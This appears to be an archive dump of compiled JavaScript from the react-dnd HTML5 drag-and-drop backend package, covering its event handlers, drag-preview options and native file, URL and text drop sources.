this.dragStartSourceIds) === null || _this$dragStartSource === void 0 ? void 0 : _this$dragStartSource.length) || 0, dropTargetIds: this.dropTargetIds.length, dragEnterTargetIds: this.dragEnterTargetIds.length, dragOverTargetIds: ((_this$dragOverTargetI = this.dragOverTargetIds) === null || _this$dragOverTargetI === void 0 ? void 0 : _this$dragOverTargetI.length) || 0 }; } // public for test }, { key: "setup", value: function setup() { if (this.window === undefined) { return; } if (this.window.__isReactDndBackendSetUp) { throw new Error('Cannot have two HTML5 backends at the same time.'); } this.window.__isReactDndBackendSetUp = true; this.addEventListeners(this.window); } }, { key: "teardown", value: function teardown() { if (this.window === undefined) { return; } this.window.__isReactDndBackendSetUp = false; this.removeEventListeners(this.window); this.clearCurrentDragSourceNode(); if (this.asyncEndDragFrameId) { this.window.cancelAnimationFrame(this.asyncEndDragFrameId); } } }, { key: "connectDragPreview", value: function connectDragPreview(sourceId, node, options) { var _this2 = this; this.sourcePreviewNodeOptions.set(sourceId, options); this.sourcePreviewNodes.set(sourceId, node); return function () { _this2.sourcePreviewNodes.delete(sourceId); _this2.sourcePreviewNodeOptions.delete(sourceId); }; } }, { key: "connectDragSource", value: function connectDragSource(sourceId, node, options) { var _this3 = this; this.sourceNodes.set(sourceId, node); this.sourceNodeOptions.set(sourceId, options); var handleDragStart = function handleDragStart(e) { return _this3.handleDragStart(e, sourceId); }; var handleSelectStart = function handleSelectStart(e) { return _this3.handleSelectStart(e); }; node.setAttribute('draggable', 'true'); node.addEventListener('dragstart', handleDragStart); node.addEventListener('selectstart', handleSelectStart); return function () { _this3.sourceNodes.delete(sourceId); _this3.sourceNodeOptions.delete(sourceId); node.removeEventListener('dragstart', handleDragStart); node.removeEventListener('selectstart', handleSelectStart); node.setAttribute('draggable', 'false'); }; } }, { key: "connectDropTarget", value: function connectDropTarget(targetId, node) { var _this4 = this; var handleDragEnter = function handleDragEnter(e) { return _this4.handleDragEnter(e, targetId); }; var handleDragOver = function handleDragOver(e) { return _this4.handleDragOver(e, targetId); }; var handleDrop = function handleDrop(e) { return _this4.handleDrop(e, targetId); }; node.addEventListener('dragenter', handleDragEnter); node.addEventListener('dragover', handleDragOver); node.addEventListener('drop', handleDrop); return function () { node.removeEventListener('dragenter', handleDragEnter); node.removeEventListener('dragover', handleDragOver); node.removeEventListener('drop', handleDrop); }; } }, { key: "addEventListeners", value: function addEventListeners(target) { // SSR Fix (https://github.com/react-dnd/react-dnd/pull/813 if (!target.addEventListener) { return; } target.addEventListener('dragstart', this.handleTopDragStart); target.addEventListener('dragstart', this.handleTopDragStartCapture, true); target.addEventListener('dragend', this.handleTopDragEndCapture, true); target.addEventListener('dragenter', this.handleTopDragEnter); target.addEventListener('dragenter', this.handleTopDragEnterCapture, true); target.addEventListener('dragleave', this.handleTopDragLeaveCapture, true); target.addEventListener('dragover', this.handleTopDragOver); target.addEventListener('dragover', this.handleTopDragOverCapture, true); target.addEventListener('drop', this.handleTopDrop); target.addEventListener('drop', this.handleTopDropCapture, true); } }, { key: "removeEventListeners", value: function removeEventListeners(target) { // SSR Fix (https://github.com/react-dnd/react-dnd/pull/813 if (!target.removeEventListener) { return; } target.removeEventListener('dragstart', this.handleTopDragStart); target.removeEventListener('dragstart', this.handleTopDragStartCapture, true); target.removeEventListener('dragend', this.handleTopDragEndCapture, true); target.removeEventListener('dragenter', this.handleTopDragEnter); target.removeEventListener('dragenter', this.handleTopDragEnterCapture, true); target.removeEventListener('dragleave', this.handleTopDragLeaveCapture, true); target.removeEventListener('dragover', this.handleTopDragOver); target.removeEventListener('dragover', this.handleTopDragOverCapture, true); target.removeEventListener('drop', this.handleTopDrop); target.removeEventListener('drop', this.handleTopDropCapture, true); } }, { key: "getCurrentSourceNodeOptions", value: function getCurrentSourceNodeOptions() { var sourceId = this.monitor.getSourceId(); var sourceNodeOptions = this.sourceNodeOptions.get(sourceId); return _objectSpread({ dropEffect: this.altKeyPressed ? 'copy' : 'move' }, sourceNodeOptions || {}); } }, { key: "getCurrentDropEffect", value: function getCurrentDropEffect() { if (this.isDraggingNativeItem()) { // It makes more sense to default to 'copy' for native resources return 'copy'; } return this.getCurrentSourceNodeOptions().dropEffect; } }, { key: "getCurrentSourcePreviewNodeOptions", value: function getCurrentSourcePreviewNodeOptions() { var sourceId = this.monitor.getSourceId(); var sourcePreviewNodeOptions = this.sourcePreviewNodeOptions.get(sourceId); return _objectSpread({ anchorX: 0.5, anchorY: 0.5, captureDraggingState: false }, sourcePreviewNodeOptions || {}); } }, { key: "isDraggingNativeItem", value: function isDraggingNativeItem() { var itemType = this.monitor.getItemType(); return Object.keys(NativeTypes).some(function (key) { return NativeTypes[key] === itemType; }); } }, { key: "beginDragNativeItem", value: function beginDragNativeItem(type, dataTransfer) { this.clearCurrentDragSourceNode(); this.currentNativeSource = createNativeDragSource(type, dataTransfer); this.currentNativeHandle = this.registry.addSource(type, this.currentNativeSource); this.actions.beginDrag([this.currentNativeHandle]); } }, { key: "setCurrentDragSourceNode", value: function setCurrentDragSourceNode(node) { var _this5 = this; this.clearCurrentDragSourceNode(); this.currentDragSourceNode = node; // A timeout of > 0 is necessary to resolve Firefox issue referenced // See: // * https://github.com/react-dnd/react-dnd/pull/928 // * https://github.com/react-dnd/react-dnd/issues/869 var MOUSE_MOVE_TIMEOUT = 1000; // Receiving a mouse event in the middle of a dragging operation // means it has ended and the drag source node disappeared from DOM, // so the browser didn't dispatch the dragend event. // // We need to wait before we start listening for mousemove events. // This is needed because the drag preview needs to be drawn or else it fires an 'mousemove' event // immediately in some browsers. // // See: // * https://github.com/react-dnd/react-dnd/pull/928 // * https://github.com/react-dnd/react-dnd/issues/869 // this.mouseMoveTimeoutTimer = setTimeout(function () { return _this5.window && _this5.window.addEventListener('mousemove', _this5.endDragIfSourceWasRemovedFromDOM, true); }, MOUSE_MOVE_TIMEOUT); } }, { key: "clearCurrentDragSourceNode", value: function clearCurrentDragSourceNode() { if (this.currentDragSourceNode) { this.currentDragSourceNode = null; if (this.window) { this.window.clearTimeout(this.mouseMoveTimeoutTimer || undefined); this.window.removeEventListener('mousemove', this.endDragIfSourceWasRemovedFromDOM, true); } this.mouseMoveTimeoutTimer = null; return true; } return false; } }, { key: "handleDragStart", value: function handleDragStart(e, sourceId) { if (e.defaultPrevented) { return; } if (!this.dragStartSourceIds) { this.dragStartSourceIds = []; } this.dragStartSourceIds.unshift(sourceId); } }, { key: "handleDragEnter", value: function handleDragEnter(e, targetId) { this.dragEnterTargetIds.unshift(targetId); } }, { key: "handleDragOver", value: function handleDragOver(e, targetId) { if (this.dragOverTargetIds === null) { this.dragOverTargetIds = []; } this.dragOverTargetIds.unshift(targetId); } }, { key: "handleDrop", value: function handleDrop(e, targetId) { this.dropTargetIds.unshift(targetId); } }, { key: "window", get: function get() { return this.options.window; } }, { key: "document", get: function get() { return this.options.document; } }]); return HTML5BackendImpl; }(); var emptyImage; function getEmptyImage() { if (!emptyImage) { emptyImage = new Image(); emptyImage.src = 'data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=='; } return emptyImage; } var HTML5Backend = function createBackend(manager, context) { return new HTML5BackendImpl(manager, context); }; exports.HTML5Backend = HTML5Backend; exports.NativeTypes = NativeTypes; exports.getEmptyImage = getEmptyImage; Object.defineProperty(exports, '__esModule', { value: true }); }))); cjs/OptionsReader.js000064400000002675151677252760010473 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.OptionsReader = void 0; function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } var OptionsReader = /*#__PURE__*/function () { function OptionsReader(globalContext) { _classCallCheck(this, OptionsReader); this.globalContext = globalContext; } _createClass(OptionsReader, [{ key: "window", get: function get() { if (this.globalContext) { return this.globalContext; } else if (typeof window !== 'undefined') { return window; } return undefined; } }, { key: "document", get: function get() { if (this.window) { return this.window.document; } return undefined; } }]); return OptionsReader; }(); exports.OptionsReader = OptionsReader;cjs/NativeDragSources/getDataFromDataTransfer.js000064400000000623151677252760015770 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.getDataFromDataTransfer = getDataFromDataTransfer; function getDataFromDataTransfer(dataTransfer, typesToTry, defaultValue) { var result = typesToTry.reduce(function (resultSoFar, typeToTry) { return resultSoFar || dataTransfer.getData(typeToTry); }, ''); return result != null ? result : defaultValue; }cjs/NativeDragSources/index.js000064400000001735151677252760012410 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.createNativeDragSource = createNativeDragSource; exports.matchNativeItemType = matchNativeItemType; var _nativeTypesConfig = require("./nativeTypesConfig"); var _NativeDragSource = require("./NativeDragSource"); function createNativeDragSource(type, dataTransfer) { var result = new _NativeDragSource.NativeDragSource(_nativeTypesConfig.nativeTypesConfig[type]); result.loadDataTransfer(dataTransfer); return result; } function matchNativeItemType(dataTransfer) { if (!dataTransfer) { return null; } var dataTransferTypes = Array.prototype.slice.call(dataTransfer.types || []); return Object.keys(_nativeTypesConfig.nativeTypesConfig).filter(function (nativeItemType) { var matchesTypes = _nativeTypesConfig.nativeTypesConfig[nativeItemType].matchesTypes; return matchesTypes.some(function (t) { return dataTransferTypes.indexOf(t) > -1; }); })[0] || null; }cjs/NativeDragSources/NativeDragSource.js000064400000005133151677252760014502 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.NativeDragSource = void 0; function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } var NativeDragSource = /*#__PURE__*/function () { function NativeDragSource(config) { _classCallCheck(this, NativeDragSource); this.config = config; this.item = {}; this.initializeExposedProperties(); } _createClass(NativeDragSource, [{ key: "initializeExposedProperties", value: function initializeExposedProperties() { var _this = this; Object.keys(this.config.exposeProperties).forEach(function (property) { Object.defineProperty(_this.item, property, { configurable: true, enumerable: true, get: function get() { // eslint-disable-next-line no-console console.warn("Browser doesn't allow reading \"".concat(property, "\" until the drop event.")); return null; } }); }); } }, { key: "loadDataTransfer", value: function loadDataTransfer(dataTransfer) { var _this2 = this; if (dataTransfer) { var newProperties = {}; Object.keys(this.config.exposeProperties).forEach(function (property) { newProperties[property] = { value: _this2.config.exposeProperties[property](dataTransfer, _this2.config.matchesTypes), configurable: true, enumerable: true }; }); Object.defineProperties(this.item, newProperties); } } }, { key: "canDrag", value: function canDrag() { return true; } }, { key: "beginDrag", value: function beginDrag() { return this.item; } }, { key: "isDragging", value: function isDragging(monitor, handle) { return handle === monitor.getSourceId(); } }, { key: "endDrag", value: function endDrag() {// empty } }]); return NativeDragSource; }(); exports.NativeDragSource = NativeDragSource;cjs/NativeDragSources/nativeTypesConfig.js000064400000005427151677252760014744 0ustar00"use strict"; function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } Object.defineProperty(exports, "__esModule", { value: true }); exports.nativeTypesConfig = void 0; var NativeTypes = _interopRequireWildcard(require("../NativeTypes")); var _getDataFromDataTransfer = require("./getDataFromDataTransfer"); var _nativeTypesConfig; function _getRequireWildcardCache() { if (typeof WeakMap !== "function") return null; var cache = new WeakMap(); _getRequireWildcardCache = function _getRequireWildcardCache() { return cache; }; return cache; } function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || _typeof(obj) !== "object" && typeof obj !== "function") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; } function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } var nativeTypesConfig = (_nativeTypesConfig = {}, _defineProperty(_nativeTypesConfig, NativeTypes.FILE, { exposeProperties: { files: function files(dataTransfer) { return Array.prototype.slice.call(dataTransfer.files); }, items: function items(dataTransfer) { return dataTransfer.items; } }, matchesTypes: ['Files'] }), _defineProperty(_nativeTypesConfig, NativeTypes.URL, { exposeProperties: { urls: function urls(dataTransfer, matchesTypes) { return (0, _getDataFromDataTransfer.getDataFromDataTransfer)(dataTransfer, matchesTypes, '').split('\n'); } }, matchesTypes: ['Url', 'text/uri-list'] }), _defineProperty(_nativeTypesConfig, NativeTypes.TEXT, { exposeProperties: { text: function text(dataTransfer, matchesTypes) { return (0, _getDataFromDataTransfer.getDataFromDataTransfer)(dataTransfer, matchesTypes, ''); } }, matchesTypes: ['Text', 'text/plain'] }), _nativeTypesConfig); exports.nativeTypesConfig = nativeTypesConfig;cjs/types.js000064400000000163151677252760007047 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); //# sourceMappingURL=types.js.mapcjs/EnterLeaveCounter.js000064400000003756151677252760011310 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.EnterLeaveCounter = void 0; var _js_utils = require("./utils/js_utils"); function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } var EnterLeaveCounter = /*#__PURE__*/function () { function EnterLeaveCounter(isNodeInDocument) { _classCallCheck(this, EnterLeaveCounter); this.entered = []; this.isNodeInDocument = isNodeInDocument; } _createClass(EnterLeaveCounter, [{ key: "enter", value: function enter(enteringNode) { var _this = this; var previousLength = this.entered.length; var isNodeEntered = function isNodeEntered(node) { return _this.isNodeInDocument(node) && (!node.contains || node.contains(enteringNode)); }; this.entered = (0, _js_utils.union)(this.entered.filter(isNodeEntered), [enteringNode]); return previousLength === 0 && this.entered.length > 0; } }, { key: "leave", value: function leave(leavingNode) { var previousLength = this.entered.length; this.entered = (0, _js_utils.without)(this.entered.filter(this.isNodeInDocument), leavingNode); return previousLength > 0 && this.entered.length === 0; } }, { key: "reset", value: function reset() { this.entered = []; } }]); return EnterLeaveCounter; }(); exports.EnterLeaveCounter = EnterLeaveCounter;cjs/utils/js_utils.js000064400000002106151677252760010676 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.isFunction = isFunction; exports.noop = noop; exports.isPlainObject = isPlainObject; function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } // cheap lodash replacements function isFunction(input) { return typeof input === 'function'; } function noop() {// noop } function isObjectLike(input) { return _typeof(input) === 'object' && input !== null; } function isPlainObject(input) { if (!isObjectLike(input)) { return false; } if (Object.getPrototypeOf(input) === null) { return true; } var proto = input; while (Object.getPrototypeOf(proto) !== null) { proto = Object.getPrototypeOf(proto); } return Object.getPrototypeOf(input) === proto; }cjs/HTML5BackendImpl.js000064400000062423151677252760010635 0ustar00"use strict"; function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } Object.defineProperty(exports, "__esModule", { value: true }); exports.HTML5BackendImpl = void 0; var _EnterLeaveCounter = require("./EnterLeaveCounter"); var _BrowserDetector = require("./BrowserDetector"); var _OffsetUtils = require("./OffsetUtils"); var _NativeDragSources = require("./NativeDragSources"); var NativeTypes = _interopRequireWildcard(require("./NativeTypes")); var _OptionsReader = require("./OptionsReader"); function _getRequireWildcardCache() { if (typeof WeakMap !== "function") return null; var cache = new WeakMap(); _getRequireWildcardCache = function _getRequireWildcardCache() { return cache; }; return cache; } function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || _typeof(obj) !== "object" && typeof obj !== "function") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; } function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; } function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(Object(source), true).forEach(function (key) { _defineProperty(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(Object(source)).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; } function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } var HTML5BackendImpl = /*#__PURE__*/function () { function HTML5BackendImpl(manager, globalContext) { var _this = this; _classCallCheck(this, HTML5BackendImpl); this.sourcePreviewNodes = new Map(); this.sourcePreviewNodeOptions = new Map(); this.sourceNodes = new Map(); this.sourceNodeOptions = new Map(); this.dragStartSourceIds = null; this.dropTargetIds = []; this.dragEnterTargetIds = []; this.currentNativeSource = null; this.currentNativeHandle = null; this.currentDragSourceNode = null; this.altKeyPressed = false; this.mouseMoveTimeoutTimer = null; this.asyncEndDragFrameId = null; this.dragOverTargetIds = null; this.getSourceClientOffset = function (sourceId) { var source = _this.sourceNodes.get(sourceId); return source && (0, _OffsetUtils.getNodeClientOffset)(source) || null; }; this.endDragNativeItem = function () { if (!_this.isDraggingNativeItem()) { return; } _this.actions.endDrag(); if (_this.currentNativeHandle) { _this.registry.removeSource(_this.currentNativeHandle); } _this.currentNativeHandle = null; _this.currentNativeSource = null; }; this.isNodeInDocument = function (node) { // Check the node either in the main document or in the current context return Boolean(node && _this.document && _this.document.body && document.body.contains(node)); }; this.endDragIfSourceWasRemovedFromDOM = function () { var node = _this.currentDragSourceNode; if (_this.isNodeInDocument(node)) { return; } if (_this.clearCurrentDragSourceNode()) { _this.actions.endDrag(); } }; this.handleTopDragStartCapture = function () { _this.clearCurrentDragSourceNode(); _this.dragStartSourceIds = []; }; this.handleTopDragStart = function (e) { if (e.defaultPrevented) { return; } var dragStartSourceIds = _this.dragStartSourceIds; _this.dragStartSourceIds = null; var clientOffset = (0, _OffsetUtils.getEventClientOffset)(e); // Avoid crashing if we missed a drop event or our previous drag died if (_this.monitor.isDragging()) { _this.actions.endDrag(); } // Don't publish the source just yet (see why below) _this.actions.beginDrag(dragStartSourceIds || [], { publishSource: false, getSourceClientOffset: _this.getSourceClientOffset, clientOffset: clientOffset }); var dataTransfer = e.dataTransfer; var nativeType = (0, _NativeDragSources.matchNativeItemType)(dataTransfer); if (_this.monitor.isDragging()) { if (dataTransfer && typeof dataTransfer.setDragImage === 'function') { // Use custom drag image if user specifies it. // If child drag source refuses drag but parent agrees, // use parent's node as drag image. Neither works in IE though. var sourceId = _this.monitor.getSourceId(); var sourceNode = _this.sourceNodes.get(sourceId); var dragPreview = _this.sourcePreviewNodes.get(sourceId) || sourceNode; if (dragPreview) { var _this$getCurrentSourc = _this.getCurrentSourcePreviewNodeOptions(), anchorX = _this$getCurrentSourc.anchorX, anchorY = _this$getCurrentSourc.anchorY, offsetX = _this$getCurrentSourc.offsetX, offsetY = _this$getCurrentSourc.offsetY; var anchorPoint = { anchorX: anchorX, anchorY: anchorY }; var offsetPoint = { offsetX: offsetX, offsetY: offsetY }; var dragPreviewOffset = (0, _OffsetUtils.getDragPreviewOffset)(sourceNode, dragPreview, clientOffset, anchorPoint, offsetPoint); dataTransfer.setDragImage(dragPreview, dragPreviewOffset.x, dragPreviewOffset.y); } } try { // Firefox won't drag without setting data dataTransfer === null || dataTransfer === void 0 ? void 0 : dataTransfer.setData('application/json', {}); } catch (err) {} // IE doesn't support MIME types in setData // Store drag source node so we can check whether // it is removed from DOM and trigger endDrag manually. _this.setCurrentDragSourceNode(e.target); // Now we are ready to publish the drag source.. or are we not? var _this$getCurrentSourc2 = _this.getCurrentSourcePreviewNodeOptions(), captureDraggingState = _this$getCurrentSourc2.captureDraggingState; if (!captureDraggingState) { // Usually we want to publish it in the next tick so that browser // is able to screenshot the current (not yet dragging) state. // // It also neatly avoids a situation where render() returns null // in the same tick for the source element, and browser freaks out. setTimeout(function () { return _this.actions.publishDragSource(); }, 0); } else { // In some cases the user may want to override this behavior, e.g. // to work around IE not supporting custom drag previews. // // When using a custom drag layer, the only way to prevent // the default drag preview from drawing in IE is to screenshot // the dragging state in which the node itself has zero opacity // and height. In this case, though, returning null from render() // will abruptly end the dragging, which is not obvious. // // This is the reason such behavior is strictly opt-in. _this.actions.publishDragSource(); } } else if (nativeType) { // A native item (such as URL) dragged from inside the document _this.beginDragNativeItem(nativeType); } else if (dataTransfer && !dataTransfer.types && (e.target && !e.target.hasAttribute || !e.target.hasAttribute('draggable'))) { // Looks like a Safari bug: dataTransfer.types is null, but there was no draggable. // Just let it drag. It's a native type (URL or text) and will be picked up in // dragenter handler. return; } else { // If by this time no drag source reacted, tell browser not to drag. e.preventDefault(); } }; this.handleTopDragEndCapture = function () { if (_this.clearCurrentDragSourceNode()) { // Firefox can dispatch this event in an infinite loop // if dragend handler does something like showing an alert. // Only proceed if we have not handled it already. _this.actions.endDrag(); } }; this.handleTopDragEnterCapture = function (e) { _this.dragEnterTargetIds = []; var isFirstEnter = _this.enterLeaveCounter.enter(e.target); if (!isFirstEnter || _this.monitor.isDragging()) { return; } var dataTransfer = e.dataTransfer; var nativeType = (0, _NativeDragSources.matchNativeItemType)(dataTransfer); if (nativeType) { // A native item (such as file or URL) dragged from outside the document _this.beginDragNativeItem(nativeType, dataTransfer); } }; this.handleTopDragEnter = function (e) { var dragEnterTargetIds = _this.dragEnterTargetIds; _this.dragEnterTargetIds = []; if (!_this.monitor.isDragging()) { // This is probably a native item type we don't understand. return; } _this.altKeyPressed = e.altKey; if (!(0, _BrowserDetector.isFirefox)()) { // Don't emit hover in `dragenter` on Firefox due to an edge case. // If the target changes position as the result of `dragenter`, Firefox // will still happily dispatch `dragover` despite target being no longer // there. The easy solution is to only fire `hover` in `dragover` on FF. _this.actions.hover(dragEnterTargetIds, { clientOffset: (0, _OffsetUtils.getEventClientOffset)(e) }); } var canDrop = dragEnterTargetIds.some(function (targetId) { return _this.monitor.canDropOnTarget(targetId); }); if (canDrop) { // IE requires this to fire dragover events e.preventDefault(); if (e.dataTransfer) { e.dataTransfer.dropEffect = _this.getCurrentDropEffect(); } } }; this.handleTopDragOverCapture = function () { _this.dragOverTargetIds = []; }; this.handleTopDragOver = function (e) { var dragOverTargetIds = _this.dragOverTargetIds; _this.dragOverTargetIds = []; if (!_this.monitor.isDragging()) { // This is probably a native item type we don't understand. // Prevent default "drop and blow away the whole document" action. e.preventDefault(); if (e.dataTransfer) { e.dataTransfer.dropEffect = 'none'; } return; } _this.altKeyPressed = e.altKey; _this.actions.hover(dragOverTargetIds || [], { clientOffset: (0, _OffsetUtils.getEventClientOffset)(e) }); var canDrop = (dragOverTargetIds || []).some(function (targetId) { return _this.monitor.canDropOnTarget(targetId); }); if (canDrop) { // Show user-specified drop effect. e.preventDefault(); if (e.dataTransfer) { e.dataTransfer.dropEffect = _this.getCurrentDropEffect(); } } else if (_this.isDraggingNativeItem()) { // Don't show a nice cursor but still prevent default // "drop and blow away the whole document" action. e.preventDefault(); } else { e.preventDefault(); if (e.dataTransfer) { e.dataTransfer.dropEffect = 'none'; } } }; this.handleTopDragLeaveCapture = function (e) { if (_this.isDraggingNativeItem()) { e.preventDefault(); } var isLastLeave = _this.enterLeaveCounter.leave(e.target); if (!isLastLeave) { return; } if (_this.isDraggingNativeItem()) { _this.endDragNativeItem(); } }; this.handleTopDropCapture = function (e) { _this.dropTargetIds = []; e.preventDefault(); if (_this.isDraggingNativeItem()) { var _this$currentNativeSo; (_this$currentNativeSo = _this.currentNativeSource) === null || _this$currentNativeSo === void 0 ? void 0 : _this$currentNativeSo.loadDataTransfer(e.dataTransfer); } _this.enterLeaveCounter.reset(); }; this.handleTopDrop = function (e) { var dropTargetIds = _this.dropTargetIds; _this.dropTargetIds = []; _this.actions.hover(dropTargetIds, { clientOffset: (0, _OffsetUtils.getEventClientOffset)(e) }); _this.actions.drop({ dropEffect: _this.getCurrentDropEffect() }); if (_this.isDraggingNativeItem()) { _this.endDragNativeItem(); } else { _this.endDragIfSourceWasRemovedFromDOM(); } }; this.handleSelectStart = function (e) { var target = e.target; // Only IE requires us to explicitly say // we want drag drop operation to start if (typeof target.dragDrop !== 'function') { return; } // Inputs and textareas should be selectable if (target.tagName === 'INPUT' || target.tagName === 'SELECT' || target.tagName === 'TEXTAREA' || target.isContentEditable) { return; } // For other targets, ask IE // to enable drag and drop e.preventDefault(); target.dragDrop(); }; this.options = new _OptionsReader.OptionsReader(globalContext); this.actions = manager.getActions(); this.monitor = manager.getMonitor(); this.registry = manager.getRegistry(); this.enterLeaveCounter = new _EnterLeaveCounter.EnterLeaveCounter(this.isNodeInDocument); } /** * Generate profiling statistics for the HTML5Backend. */ _createClass(HTML5BackendImpl, [{ key: "profile", value: function profile() { var _this$dragStartSource, _this$dragOverTargetI; return { sourcePreviewNodes: this.sourcePreviewNodes.size, sourcePreviewNodeOptions: this.sourcePreviewNodeOptions.size, sourceNodeOptions: this.sourceNodeOptions.size, sourceNodes: this.sourceNodes.size, dragStartSourceIds: ((_this$dragStartSource = this.dragStartSourceIds) === null || _this$dragStartSource === void 0 ? void 0 : _this$dragStartSource.length) || 0, dropTargetIds: this.dropTargetIds.length, dragEnterTargetIds: this.dragEnterTargetIds.length, dragOverTargetIds: ((_this$dragOverTargetI = this.dragOverTargetIds) === null || _this$dragOverTargetI === void 0 ? void 0 : _this$dragOverTargetI.length) || 0 }; } // public for test }, { key: "setup", value: function setup() { if (this.window === undefined) { return; } if (this.window.__isReactDndBackendSetUp) { throw new Error('Cannot have two HTML5 backends at the same time.'); } this.window.__isReactDndBackendSetUp = true; this.addEventListeners(this.window); } }, { key: "teardown", value: function teardown() { if (this.window === undefined) { return; } this.window.__isReactDndBackendSetUp = false; this.removeEventListeners(this.window); this.clearCurrentDragSourceNode(); if (this.asyncEndDragFrameId) { this.window.cancelAnimationFrame(this.asyncEndDragFrameId); } } }, { key: "connectDragPreview", value: function connectDragPreview(sourceId, node, options) { var _this2 = this; this.sourcePreviewNodeOptions.set(sourceId, options); this.sourcePreviewNodes.set(sourceId, node); return function () { _this2.sourcePreviewNodes.delete(sourceId); _this2.sourcePreviewNodeOptions.delete(sourceId); }; } }, { key: "connectDragSource", value: function connectDragSource(sourceId, node, options) { var _this3 = this; this.sourceNodes.set(sourceId, node); this.sourceNodeOptions.set(sourceId, options); var handleDragStart = function handleDragStart(e) { return _this3.handleDragStart(e, sourceId); }; var handleSelectStart = function handleSelectStart(e) { return _this3.handleSelectStart(e); }; 